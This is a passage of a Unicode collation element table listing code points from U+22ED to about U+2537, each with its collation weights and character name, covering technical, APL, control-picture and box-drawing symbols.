OF OR EQUAL TO -22ED ; [*06A9.0020.0002][.0000.002F.0002] # DOES NOT CONTAIN AS NORMAL SUBGROUP OR EQUAL -22EE ; [*06DB.0020.0002] # VERTICAL ELLIPSIS -22EF ; [*06DC.0020.0002] # MIDLINE HORIZONTAL ELLIPSIS -22F0 ; [*06DD.0020.0002] # UP RIGHT DIAGONAL ELLIPSIS -22F1 ; [*06DE.0020.0002] # DOWN RIGHT DIAGONAL ELLIPSIS -22F2 ; [*06DF.0020.0002] # ELEMENT OF WITH LONG HORIZONTAL STROKE -22F3 ; [*06E0.0020.0002] # ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE -22F4 ; [*06E1.0020.0002] # SMALL ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE -22F5 ; [*06E2.0020.0002] # ELEMENT OF WITH DOT ABOVE -22F6 ; [*06E3.0020.0002] # ELEMENT OF WITH OVERBAR -22F7 ; [*06E4.0020.0002] # SMALL ELEMENT OF WITH OVERBAR -22F8 ; [*06E5.0020.0002] # ELEMENT OF WITH UNDERBAR -22F9 ; [*06E6.0020.0002] # ELEMENT OF WITH TWO HORIZONTAL STROKES -22FA ; [*06E7.0020.0002] # CONTAINS WITH LONG HORIZONTAL STROKE -22FB ; [*06E8.0020.0002] # CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE -22FC ; [*06E9.0020.0002] # SMALL CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE -22FD ; [*06EA.0020.0002] # CONTAINS WITH OVERBAR -22FE ; [*06EB.0020.0002] # SMALL CONTAINS WITH OVERBAR -22FF ; [*06EC.0020.0002] # Z NOTATION BAG MEMBERSHIP -2300 ; [*06ED.0020.0002] # DIAMETER SIGN -2301 ; [*06EE.0020.0002] # ELECTRIC ARROW -2302 ; [*06EF.0020.0002] # HOUSE -2303 ; [*06F0.0020.0002] # UP ARROWHEAD -2304 ; [*06F1.0020.0002] # DOWN ARROWHEAD -2305 ; [*06F2.0020.0002] # PROJECTIVE -2306 ; [*06F3.0020.0002] # PERSPECTIVE -2307 ; [*06F4.0020.0002] # WAVY LINE -2308 ; [*0325.0020.0002] # LEFT CEILING -2309 ; [*0326.0020.0002] # RIGHT CEILING -230A ; [*0327.0020.0002] # LEFT FLOOR -230B ; [*0328.0020.0002] # RIGHT FLOOR -230C ; [*06F5.0020.0002] # BOTTOM RIGHT CROP -230D ; [*06F6.0020.0002] # BOTTOM LEFT CROP -230E ; [*06F7.0020.0002] # TOP RIGHT CROP -230F ; [*06F8.0020.0002] # TOP LEFT CROP -2310 ; [*06F9.0020.0002] # REVERSED NOT SIGN -2311 ; [*06FA.0020.0002] # SQUARE LOZENGE -2312 ; [*06FB.0020.0002] # ARC -2313 ; [*06FC.0020.0002] # SEGMENT -2314 ; [*06FD.0020.0002] # SECTOR -2315 ; [*06FE.0020.0002] # TELEPHONE RECORDER -2316 ; [*06FF.0020.0002] # POSITION INDICATOR -2317 ; [*0700.0020.0002] # VIEWDATA SQUARE -2318 ; [*0701.0020.0002] # PLACE OF INTEREST SIGN -2319 ; [*0702.0020.0002] # TURNED NOT SIGN -231A ; [*0703.0020.0002] # WATCH -231B ; [*0704.0020.0002] # HOURGLASS -231C ; [*0705.0020.0002] # TOP LEFT CORNER -231D ; [*0706.0020.0002] # TOP RIGHT CORNER -231E ; [*0707.0020.0002] # BOTTOM LEFT CORNER -231F ; [*0708.0020.0002] # BOTTOM RIGHT CORNER -2320 ; [*0709.0020.0002] # TOP HALF INTEGRAL -2321 ; [*070A.0020.0002] # BOTTOM HALF INTEGRAL -2322 ; [*070B.0020.0002] # FROWN -2323 ; [*070C.0020.0002] # SMILE -2324 ; [*070D.0020.0002] # UP ARROWHEAD BETWEEN TWO HORIZONTAL BARS -2325 ; [*070E.0020.0002] # OPTION KEY -2326 ; [*070F.0020.0002] # ERASE TO THE RIGHT -2327 ; [*0710.0020.0002] # X IN A RECTANGLE BOX -2328 ; [*0711.0020.0002] # KEYBOARD -2329 ; [*036F.0020.0002] # LEFT-POINTING ANGLE BRACKET -232A ; [*0370.0020.0002] # RIGHT-POINTING ANGLE BRACKET -232B ; [*0712.0020.0002] # ERASE TO THE LEFT -232C ; [*0713.0020.0002] # BENZENE RING -232D ; [*0714.0020.0002] # CYLINDRICITY -232E ; [*0715.0020.0002] # ALL AROUND-PROFILE -232F ; [*0716.0020.0002] # SYMMETRY -2330 ; [*0717.0020.0002] # TOTAL RUNOUT -2331 ; [*0718.0020.0002] # DIMENSION ORIGIN -2332 ; [*0719.0020.0002] # CONICAL TAPER -2333 ; [*071A.0020.0002] # SLOPE -2334 ; [*071B.0020.0002] # COUNTERBORE -2335 ; [*071C.0020.0002] # COUNTERSINK -2336 ; [*071D.0020.0002] # APL FUNCTIONAL SYMBOL I-BEAM -2337 ; [*071E.0020.0002] # APL FUNCTIONAL SYMBOL SQUISH QUAD -2338 ; [*071F.0020.0002] # APL FUNCTIONAL SYMBOL QUAD EQUAL -2339 ; [*0720.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DIVIDE -233A ; [*0721.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DIAMOND -233B ; [*0722.0020.0002] # APL FUNCTIONAL SYMBOL QUAD JOT -233C ; [*0723.0020.0002] # APL FUNCTIONAL SYMBOL QUAD CIRCLE -233D ; [*0724.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE STILE -233E ; [*0725.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE JOT -233F ; [*0726.0020.0002] # APL FUNCTIONAL SYMBOL SLASH BAR -2340 ; [*0727.0020.0002] # APL FUNCTIONAL SYMBOL BACKSLASH BAR -2341 ; [*0728.0020.0002] # APL FUNCTIONAL SYMBOL QUAD SLASH -2342 ; [*0729.0020.0002] # APL FUNCTIONAL SYMBOL QUAD BACKSLASH -2343 ; [*072A.0020.0002] # APL FUNCTIONAL SYMBOL QUAD LESS-THAN -2344 ; [*072B.0020.0002] # APL FUNCTIONAL SYMBOL QUAD GREATER-THAN -2345 ; [*072C.0020.0002] # APL FUNCTIONAL SYMBOL LEFTWARDS VANE -2346 ; [*072D.0020.0002] # APL FUNCTIONAL SYMBOL RIGHTWARDS VANE -2347 ; [*072E.0020.0002] # APL FUNCTIONAL SYMBOL QUAD LEFTWARDS ARROW -2348 ; [*072F.0020.0002] # APL FUNCTIONAL SYMBOL QUAD RIGHTWARDS ARROW -2349 ; [*0730.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE BACKSLASH -234A ; [*0731.0020.0002] # APL FUNCTIONAL SYMBOL DOWN TACK UNDERBAR -234B ; [*0732.0020.0002] # APL FUNCTIONAL SYMBOL DELTA STILE -234C ; [*0733.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DOWN CARET -234D ; [*0734.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DELTA -234E ; [*0735.0020.0002] # APL FUNCTIONAL SYMBOL DOWN TACK JOT -234F ; [*0736.0020.0002] # APL FUNCTIONAL SYMBOL UPWARDS VANE -2350 ; [*0737.0020.0002] # APL FUNCTIONAL SYMBOL QUAD UPWARDS ARROW -2351 ; [*0738.0020.0002] # APL FUNCTIONAL SYMBOL UP TACK OVERBAR -2352 ; [*0739.0020.0002] # APL FUNCTIONAL SYMBOL DEL STILE -2353 ; [*073A.0020.0002] # APL FUNCTIONAL SYMBOL QUAD UP CARET -2354 ; [*073B.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DEL -2355 ; [*073C.0020.0002] # APL FUNCTIONAL SYMBOL UP TACK JOT -2356 ; [*073D.0020.0002] # APL FUNCTIONAL SYMBOL DOWNWARDS VANE -2357 ; [*073E.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DOWNWARDS ARROW -2358 ; [*073F.0020.0002] # APL FUNCTIONAL SYMBOL QUOTE UNDERBAR -2359 ; [*0740.0020.0002] # APL FUNCTIONAL SYMBOL DELTA UNDERBAR -235A ; [*0741.0020.0002] # APL FUNCTIONAL SYMBOL DIAMOND UNDERBAR -235B ; [*0742.0020.0002] # APL FUNCTIONAL SYMBOL JOT UNDERBAR -235C ; [*0743.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE UNDERBAR -235D ; [*0744.0020.0002] # APL FUNCTIONAL SYMBOL UP SHOE JOT -235E ; [*0745.0020.0002] # APL FUNCTIONAL SYMBOL QUOTE QUAD -235F ; [*0746.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE STAR -2360 ; [*0747.0020.0002] # APL FUNCTIONAL SYMBOL QUAD COLON -2361 ; [*0748.0020.0002] # APL FUNCTIONAL SYMBOL UP TACK DIAERESIS -2362 ; [*0749.0020.0002] # APL FUNCTIONAL SYMBOL DEL DIAERESIS -2363 ; [*074A.0020.0002] # APL FUNCTIONAL SYMBOL STAR DIAERESIS -2364 ; [*074B.0020.0002] # APL FUNCTIONAL SYMBOL JOT DIAERESIS -2365 ; [*074C.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE DIAERESIS -2366 ; [*074D.0020.0002] # APL FUNCTIONAL SYMBOL DOWN SHOE STILE -2367 ; [*074E.0020.0002] # APL FUNCTIONAL SYMBOL LEFT SHOE STILE -2368 ; [*074F.0020.0002] # APL FUNCTIONAL SYMBOL TILDE DIAERESIS -2369 ; [*0750.0020.0002] # APL FUNCTIONAL SYMBOL GREATER-THAN DIAERESIS -236A ; [*0751.0020.0002] # APL FUNCTIONAL SYMBOL COMMA BAR -236B ; [*0752.0020.0002] # APL FUNCTIONAL SYMBOL DEL TILDE -236C ; [*0753.0020.0002] # APL FUNCTIONAL SYMBOL ZILDE -236D ; [*0754.0020.0002] # APL FUNCTIONAL SYMBOL STILE TILDE -236E ; [*0755.0020.0002] # APL FUNCTIONAL SYMBOL SEMICOLON UNDERBAR -236F ; [*0756.0020.0002] # APL FUNCTIONAL SYMBOL QUAD NOT EQUAL -2370 ; [*0757.0020.0002] # APL FUNCTIONAL SYMBOL QUAD QUESTION -2371 ; [*0758.0020.0002] # APL FUNCTIONAL SYMBOL DOWN CARET TILDE -2372 ; [*0759.0020.0002] # APL FUNCTIONAL SYMBOL UP CARET TILDE -2373 ; [*075A.0020.0002] # APL FUNCTIONAL SYMBOL IOTA -2374 ; [*075B.0020.0002] # APL FUNCTIONAL SYMBOL RHO -2375 ; [*075C.0020.0002] # APL FUNCTIONAL SYMBOL OMEGA -2376 ; [*075D.0020.0002] # APL FUNCTIONAL SYMBOL ALPHA UNDERBAR -2377 ; [*075E.0020.0002] # APL FUNCTIONAL SYMBOL EPSILON UNDERBAR -2378 ; [*075F.0020.0002] # APL FUNCTIONAL SYMBOL IOTA UNDERBAR -2379 ; [*0760.0020.0002] # APL FUNCTIONAL SYMBOL OMEGA UNDERBAR -237A ; [*0761.0020.0002] # APL FUNCTIONAL SYMBOL ALPHA -237B ; [*0762.0020.0002] # NOT CHECK MARK -237C ; [*0763.0020.0002] # RIGHT ANGLE WITH DOWNWARDS ZIGZAG ARROW -237D ; [*0764.0020.0002] # SHOULDERED OPEN BOX -237E ; [*0765.0020.0002] # BELL SYMBOL -237F ; [*0766.0020.0002] # VERTICAL LINE WITH MIDDLE DOT -2380 ; [*0767.0020.0002] # INSERTION SYMBOL -2381 ; [*0768.0020.0002] # CONTINUOUS UNDERLINE SYMBOL -2382 ; [*0769.0020.0002] # DISCONTINUOUS UNDERLINE SYMBOL -2383 ; [*076A.0020.0002] # EMPHASIS SYMBOL -2384 ; [*076B.0020.0002] # COMPOSITION SYMBOL -2385 ; [*076C.0020.0002] # WHITE SQUARE WITH CENTRE VERTICAL LINE -2386 ; [*076D.0020.0002] # ENTER SYMBOL -2387 ; [*076E.0020.0002] # ALTERNATIVE KEY SYMBOL -2388 ; [*076F.0020.0002] # HELM SYMBOL -2389 ; [*0770.0020.0002] # CIRCLED HORIZONTAL BAR WITH NOTCH -238A ; [*0771.0020.0002] # CIRCLED TRIANGLE DOWN -238B ; [*0772.0020.0002] # BROKEN CIRCLE WITH NORTHWEST ARROW -238C ; [*0773.0020.0002] # UNDO SYMBOL -238D ; [*0774.0020.0002] # MONOSTABLE SYMBOL -238E ; [*0775.0020.0002] # HYSTERESIS SYMBOL -238F ; [*0776.0020.0002] # OPEN-CIRCUIT-OUTPUT H-TYPE SYMBOL -2390 ; [*0777.0020.0002] # OPEN-CIRCUIT-OUTPUT L-TYPE SYMBOL -2391 ; [*0778.0020.0002] # PASSIVE-PULL-DOWN-OUTPUT SYMBOL -2392 ; [*0779.0020.0002] # PASSIVE-PULL-UP-OUTPUT SYMBOL -2393 ; [*077A.0020.0002] # DIRECT CURRENT SYMBOL FORM TWO -2394 ; [*077B.0020.0002] # SOFTWARE-FUNCTION SYMBOL -2395 ; [*077C.0020.0002] # APL FUNCTIONAL SYMBOL QUAD -2396 ; [*077D.0020.0002] # DECIMAL SEPARATOR KEY SYMBOL -2397 ; [*077E.0020.0002] # PREVIOUS PAGE -2398 ; [*077F.0020.0002] # NEXT PAGE -2399 ; [*0780.0020.0002] # PRINT SCREEN SYMBOL -239A ; [*0781.0020.0002] # CLEAR SCREEN SYMBOL -239B ; [*0782.0020.0002] # LEFT PARENTHESIS UPPER HOOK -239C ; [*0783.0020.0002] # LEFT PARENTHESIS EXTENSION -239D ; [*0784.0020.0002] # LEFT PARENTHESIS LOWER HOOK -239E ; [*0785.0020.0002] # RIGHT PARENTHESIS UPPER HOOK -239F ; [*0786.0020.0002] # RIGHT PARENTHESIS EXTENSION -23A0 ; [*0787.0020.0002] # RIGHT PARENTHESIS LOWER HOOK -23A1 ; [*0788.0020.0002] # LEFT SQUARE BRACKET UPPER CORNER -23A2 ; [*0789.0020.0002] # LEFT SQUARE BRACKET EXTENSION -23A3 ; [*078A.0020.0002] # LEFT SQUARE BRACKET LOWER CORNER -23A4 ; [*078B.0020.0002] # RIGHT SQUARE BRACKET UPPER CORNER -23A5 ; [*078C.0020.0002] # RIGHT SQUARE BRACKET EXTENSION -23A6 ; [*078D.0020.0002] # RIGHT SQUARE BRACKET LOWER CORNER -23A7 ; [*078E.0020.0002] # LEFT CURLY BRACKET UPPER HOOK -23A8 ; [*078F.0020.0002] # LEFT CURLY BRACKET MIDDLE PIECE -23A9 ; [*0790.0020.0002] # LEFT CURLY BRACKET LOWER HOOK -23AA ; [*0791.0020.0002] # CURLY BRACKET EXTENSION -23AB ; [*0792.0020.0002] # RIGHT CURLY BRACKET UPPER HOOK -23AC ; [*0793.0020.0002] # RIGHT CURLY BRACKET MIDDLE PIECE -23AD ; [*0794.0020.0002] # RIGHT CURLY BRACKET LOWER HOOK -23AE ; [*0795.0020.0002] # INTEGRAL EXTENSION -23AF ; [*0796.0020.0002] # HORIZONTAL LINE EXTENSION -23B0 ; [*0797.0020.0002] # UPPER LEFT OR LOWER RIGHT CURLY BRACKET SECTION -23B1 ; [*0798.0020.0002] # UPPER RIGHT OR LOWER LEFT CURLY BRACKET SECTION -23B2 ; [*0799.0020.0002] # SUMMATION TOP -23B3 ; [*079A.0020.0002] # SUMMATION BOTTOM -23B4 ; [*079B.0020.0002] # TOP SQUARE BRACKET -23B5 ; [*079C.0020.0002] # BOTTOM SQUARE BRACKET -23B6 ; [*079D.0020.0002] # BOTTOM SQUARE BRACKET OVER TOP SQUARE BRACKET -23B7 ; [*079E.0020.0002] # RADICAL SYMBOL BOTTOM -23B8 ; [*079F.0020.0002] # LEFT VERTICAL BOX LINE -23B9 ; [*07A0.0020.0002] # RIGHT VERTICAL BOX LINE -23BA ; [*07A1.0020.0002] # HORIZONTAL SCAN LINE-1 -23BB ; [*07A2.0020.0002] # HORIZONTAL SCAN LINE-3 -23BC ; [*07A3.0020.0002] # HORIZONTAL SCAN LINE-7 -23BD ; [*07A4.0020.0002] # HORIZONTAL SCAN LINE-9 -23BE ; [*07A5.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND TOP RIGHT -23BF ; [*07A6.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM RIGHT -23C0 ; [*07A7.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL WITH CIRCLE -23C1 ; [*07A8.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH CIRCLE -23C2 ; [*07A9.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH CIRCLE -23C3 ; [*07AA.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL WITH TRIANGLE -23C4 ; [*07AB.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH TRIANGLE -23C5 ; [*07AC.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH TRIANGLE -23C6 ; [*07AD.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND WAVE -23C7 ; [*07AE.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH WAVE -23C8 ; [*07AF.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH WAVE -23C9 ; [*07B0.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL -23CA ; [*07B1.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL -23CB ; [*07B2.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND TOP LEFT -23CC ; [*07B3.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM LEFT -23CD ; [*07B4.0020.0002] # SQUARE FOOT -23CE ; [*07B5.0020.0002] # RETURN SYMBOL -23CF ; [*07B6.0020.0002] # EJECT SYMBOL -23D0 ; [*07B7.0020.0002] # VERTICAL LINE EXTENSION -23D1 ; [*07B8.0020.0002] # METRICAL BREVE -23D2 ; [*07B9.0020.0002] # METRICAL LONG OVER SHORT -23D3 ; [*07BA.0020.0002] # METRICAL SHORT OVER LONG -23D4 ; [*07BB.0020.0002] # METRICAL LONG OVER TWO SHORTS -23D5 ; [*07BC.0020.0002] # METRICAL TWO SHORTS OVER LONG -23D6 ; [*07BD.0020.0002] # METRICAL TWO SHORTS JOINED -23D7 ; [*07BE.0020.0002] # METRICAL TRISEME -23D8 ; [*07BF.0020.0002] # METRICAL TETRASEME -23D9 ; [*07C0.0020.0002] # METRICAL PENTASEME -23DA ; [*07C1.0020.0002] # EARTH GROUND -23DB ; [*07C2.0020.0002] # FUSE -23DC ; [*07C3.0020.0002] # TOP PARENTHESIS -23DD ; [*07C4.0020.0002] # BOTTOM PARENTHESIS -23DE ; [*07C5.0020.0002] # TOP CURLY BRACKET -23DF ; [*07C6.0020.0002] # BOTTOM CURLY BRACKET -23E0 ; [*07C7.0020.0002] # TOP TORTOISE SHELL BRACKET -23E1 ; [*07C8.0020.0002] # BOTTOM TORTOISE SHELL BRACKET -23E2 ; [*07C9.0020.0002] # WHITE TRAPEZIUM -23E3 ; [*07CA.0020.0002] # BENZENE RING WITH CIRCLE -23E4 ; [*07CB.0020.0002] # STRAIGHTNESS -23E5 ; [*07CC.0020.0002] # FLATNESS -23E6 ; [*07CD.0020.0002] # AC CURRENT -23E7 ; [*07CE.0020.0002] # ELECTRICAL INTERSECTION -23E8 ; [*07CF.0020.0002] # DECIMAL EXPONENT SYMBOL -23E9 ; [*07D0.0020.0002] # BLACK RIGHT-POINTING DOUBLE TRIANGLE -23EA ; [*07D1.0020.0002] # BLACK LEFT-POINTING DOUBLE TRIANGLE -23EB ; [*07D2.0020.0002] # BLACK UP-POINTING DOUBLE TRIANGLE -23EC ; [*07D3.0020.0002] # BLACK DOWN-POINTING DOUBLE TRIANGLE -23ED ; [*07D4.0020.0002] # BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR -23EE ; [*07D5.0020.0002] # BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR -23EF ; [*07D6.0020.0002] # BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR -23F0 ; [*07D7.0020.0002] # ALARM CLOCK -23F1 ; [*07D8.0020.0002] # STOPWATCH -23F2 ; [*07D9.0020.0002] # TIMER CLOCK -23F3 ; [*07DA.0020.0002] # HOURGLASS WITH FLOWING SAND -23F4 ; [*07DB.0020.0002] # BLACK MEDIUM LEFT-POINTING TRIANGLE -23F5 ; [*07DC.0020.0002] # BLACK MEDIUM RIGHT-POINTING TRIANGLE -23F6 ; [*07DD.0020.0002] # BLACK MEDIUM UP-POINTING TRIANGLE -23F7 ; [*07DE.0020.0002] # BLACK MEDIUM DOWN-POINTING TRIANGLE -23F8 ; [*07DF.0020.0002] # DOUBLE VERTICAL BAR -23F9 ; [*07E0.0020.0002] # BLACK SQUARE FOR STOP -23FA ; [*07E1.0020.0002] # BLACK CIRCLE FOR RECORD -23FB ; [*07E2.0020.0002] # POWER SYMBOL -23FC ; [*07E3.0020.0002] # POWER ON-OFF SYMBOL -23FD ; [*07E4.0020.0002] # POWER ON SYMBOL -23FE ; [*07E5.0020.0002] # POWER SLEEP SYMBOL -2400 ; [*07E6.0020.0002] # SYMBOL FOR NULL -2401 ; [*07E7.0020.0002] # SYMBOL FOR START OF HEADING -2402 ; [*07E8.0020.0002] # SYMBOL FOR START OF TEXT -2403 ; [*07E9.0020.0002] # SYMBOL FOR END OF TEXT -2404 ; [*07EA.0020.0002] # SYMBOL FOR END OF TRANSMISSION -2405 ; [*07EB.0020.0002] # SYMBOL FOR ENQUIRY -2406 ; [*07EC.0020.0002] # SYMBOL FOR ACKNOWLEDGE -2407 ; [*07ED.0020.0002] # SYMBOL FOR BELL -2408 ; [*07EE.0020.0002] # SYMBOL FOR BACKSPACE -2409 ; [*07EF.0020.0002] # SYMBOL FOR HORIZONTAL TABULATION -240A ; [*07F0.0020.0002] # SYMBOL FOR LINE FEED -240B ; [*07F1.0020.0002] # SYMBOL FOR VERTICAL TABULATION -240C ; [*07F2.0020.0002] # SYMBOL FOR FORM FEED -240D ; [*07F3.0020.0002] # SYMBOL FOR CARRIAGE RETURN -240E ; [*07F4.0020.0002] # SYMBOL FOR SHIFT OUT -240F ; [*07F5.0020.0002] # SYMBOL FOR SHIFT IN -2410 ; [*07F6.0020.0002] # SYMBOL FOR DATA LINK ESCAPE -2411 ; [*07F7.0020.0002] # SYMBOL FOR DEVICE CONTROL ONE -2412 ; [*07F8.0020.0002] # SYMBOL FOR DEVICE CONTROL TWO -2413 ; [*07F9.0020.0002] # SYMBOL FOR DEVICE CONTROL THREE -2414 ; [*07FA.0020.0002] # SYMBOL FOR DEVICE CONTROL FOUR -2415 ; [*07FB.0020.0002] # SYMBOL FOR NEGATIVE ACKNOWLEDGE -2416 ; [*07FC.0020.0002] # SYMBOL FOR SYNCHRONOUS IDLE -2417 ; [*07FD.0020.0002] # SYMBOL FOR END OF TRANSMISSION BLOCK -2418 ; [*07FE.0020.0002] # SYMBOL FOR CANCEL -2419 ; [*07FF.0020.0002] # SYMBOL FOR END OF MEDIUM -241A ; [*0800.0020.0002] # SYMBOL FOR SUBSTITUTE -241B ; [*0801.0020.0002] # SYMBOL FOR ESCAPE -241C ; [*0802.0020.0002] # SYMBOL FOR FILE SEPARATOR -241D ; [*0803.0020.0002] # SYMBOL FOR GROUP SEPARATOR -241E ; [*0804.0020.0002] # SYMBOL FOR RECORD SEPARATOR -241F ; [*0805.0020.0002] # SYMBOL FOR UNIT SEPARATOR -2420 ; [*0806.0020.0002] # SYMBOL FOR SPACE -2421 ; [*0807.0020.0002] # SYMBOL FOR DELETE -2422 ; [*0808.0020.0002] # BLANK SYMBOL -2423 ; [*0809.0020.0002] # OPEN BOX -2424 ; [*080A.0020.0002] # SYMBOL FOR NEWLINE -2425 ; [*080B.0020.0002] # SYMBOL FOR DELETE FORM TWO -2426 ; [*080C.0020.0002] # SYMBOL FOR SUBSTITUTE FORM TWO -2440 ; [*080D.0020.0002] # OCR HOOK -2441 ; [*080E.0020.0002] # OCR CHAIR -2442 ; [*080F.0020.0002] # OCR FORK -2443 ; [*0810.0020.0002] # OCR INVERTED FORK -2444 ; [*0811.0020.0002] # OCR BELT BUCKLE -2445 ; [*0812.0020.0002] # OCR BOW TIE -2446 ; [*0813.0020.0002] # OCR BRANCH BANK IDENTIFICATION -2447 ; [*0814.0020.0002] # OCR AMOUNT OF CHECK -2448 ; [*0815.0020.0002] # OCR DASH -2449 ; [*0816.0020.0002] # OCR CUSTOMER ACCOUNT NUMBER -244A ; [*0817.0020.0002] # OCR DOUBLE BACKSLASH -2500 ; [*0818.0020.0002] # BOX DRAWINGS LIGHT HORIZONTAL -2501 ; [*0819.0020.0002] # BOX DRAWINGS HEAVY HORIZONTAL -2502 ; [*081A.0020.0002] # BOX DRAWINGS LIGHT VERTICAL -2503 ; [*081B.0020.0002] # BOX DRAWINGS HEAVY VERTICAL -2504 ; [*081C.0020.0002] # BOX DRAWINGS LIGHT TRIPLE DASH HORIZONTAL -2505 ; [*081D.0020.0002] # BOX DRAWINGS HEAVY TRIPLE DASH HORIZONTAL -2506 ; [*081E.0020.0002] # BOX DRAWINGS LIGHT TRIPLE DASH VERTICAL -2507 ; [*081F.0020.0002] # BOX DRAWINGS HEAVY TRIPLE DASH VERTICAL -2508 ; [*0820.0020.0002] # BOX DRAWINGS LIGHT QUADRUPLE DASH HORIZONTAL -2509 ; [*0821.0020.0002] # BOX DRAWINGS HEAVY QUADRUPLE DASH HORIZONTAL -250A ; [*0822.0020.0002] # BOX DRAWINGS LIGHT QUADRUPLE DASH VERTICAL -250B ; [*0823.0020.0002] # BOX DRAWINGS HEAVY QUADRUPLE DASH VERTICAL -250C ; [*0824.0020.0002] # BOX DRAWINGS LIGHT DOWN AND RIGHT -250D ; [*0825.0020.0002] # BOX DRAWINGS DOWN LIGHT AND RIGHT HEAVY -250E ; [*0826.0020.0002] # BOX DRAWINGS DOWN HEAVY AND RIGHT LIGHT -250F ; [*0827.0020.0002] # BOX DRAWINGS HEAVY DOWN AND RIGHT -2510 ; [*0828.0020.0002] # BOX DRAWINGS LIGHT DOWN AND LEFT -2511 ; [*0829.0020.0002] # BOX DRAWINGS DOWN LIGHT AND LEFT HEAVY -2512 ; [*082A.0020.0002] # BOX DRAWINGS DOWN HEAVY AND LEFT LIGHT -2513 ; [*082B.0020.0002] # BOX DRAWINGS HEAVY DOWN AND LEFT -2514 ; [*082C.0020.0002] # BOX DRAWINGS LIGHT UP AND RIGHT -2515 ; [*082D.0020.0002] # BOX DRAWINGS UP LIGHT AND RIGHT HEAVY -2516 ; [*082E.0020.0002] # BOX DRAWINGS UP HEAVY AND RIGHT LIGHT -2517 ; [*082F.0020.0002] # BOX DRAWINGS HEAVY UP AND RIGHT -2518 ; [*0830.0020.0002] # BOX DRAWINGS LIGHT UP AND LEFT -2519 ; [*0831.0020.0002] # BOX DRAWINGS UP LIGHT AND LEFT HEAVY -251A ; [*0832.0020.0002] # BOX DRAWINGS UP HEAVY AND LEFT LIGHT -251B ; [*0833.0020.0002] # BOX DRAWINGS HEAVY UP AND LEFT -251C ; [*0834.0020.0002] # BOX DRAWINGS LIGHT VERTICAL AND RIGHT -251D ; [*0835.0020.0002] # BOX DRAWINGS VERTICAL LIGHT AND RIGHT HEAVY -251E ; [*0836.0020.0002] # BOX DRAWINGS UP HEAVY AND RIGHT DOWN LIGHT -251F ; [*0837.0020.0002] # BOX DRAWINGS DOWN HEAVY AND RIGHT UP LIGHT -2520 ; [*0838.0020.0002] # BOX DRAWINGS VERTICAL HEAVY AND RIGHT LIGHT -2521 ; [*0839.0020.0002] # BOX DRAWINGS DOWN LIGHT AND RIGHT UP HEAVY -2522 ; [*083A.0020.0002] # BOX DRAWINGS UP LIGHT AND RIGHT DOWN HEAVY -2523 ; [*083B.0020.0002] # BOX DRAWINGS HEAVY VERTICAL AND RIGHT -2524 ; [*083C.0020.0002] # BOX DRAWINGS LIGHT VERTICAL AND LEFT -2525 ; [*083D.0020.0002] # BOX DRAWINGS VERTICAL LIGHT AND LEFT HEAVY -2526 ; [*083E.0020.0002] # BOX DRAWINGS UP HEAVY AND LEFT DOWN LIGHT -2527 ; [*083F.0020.0002] # BOX DRAWINGS DOWN HEAVY AND LEFT UP LIGHT -2528 ; [*0840.0020.0002] # BOX DRAWINGS VERTICAL HEAVY AND LEFT LIGHT -2529 ; [*0841.0020.0002] # BOX DRAWINGS DOWN LIGHT AND LEFT UP HEAVY -252A ; [*0842.0020.0002] # BOX DRAWINGS UP LIGHT AND LEFT DOWN HEAVY -252B ; [*0843.0020.0002] # BOX DRAWINGS HEAVY VERTICAL AND LEFT -252C ; [*0844.0020.0002] # BOX DRAWINGS LIGHT DOWN AND HORIZONTAL -252D ; [*0845.0020.0002] # BOX DRAWINGS LEFT HEAVY AND RIGHT DOWN LIGHT -252E ; [*0846.0020.0002] # BOX DRAWINGS RIGHT HEAVY AND LEFT DOWN LIGHT -252F ; [*0847.0020.0002] # BOX DRAWINGS DOWN LIGHT AND HORIZONTAL HEAVY -2530 ; [*0848.0020.0002] # BOX DRAWINGS DOWN HEAVY AND HORIZONTAL LIGHT -2531 ; [*0849.0020.0002] # BOX DRAWINGS RIGHT LIGHT AND LEFT DOWN HEAVY -2532 ; [*084A.0020.0002] # BOX DRAWINGS LEFT LIGHT AND RIGHT DOWN HEAVY -2533 ; [*084B.0020.0002] # BOX DRAWINGS HEAVY DOWN AND HORIZONTAL -2534 ; [*084C.0020.0002] # BOX DRAWINGS LIGHT UP AND HORIZONTAL -2535 ; [*084D.0020.0002] # BOX DRAWINGS LEFT HEAVY AND RIGHT UP LIGHT -2536 ; [*084E.0020.0002] # BOX DRAWINGS RIGHT HEAVY AND LEFT UP LIGHT -2537 ; [*084F.0020.0002] # BOX DRAWINGS UP LIGHT AND 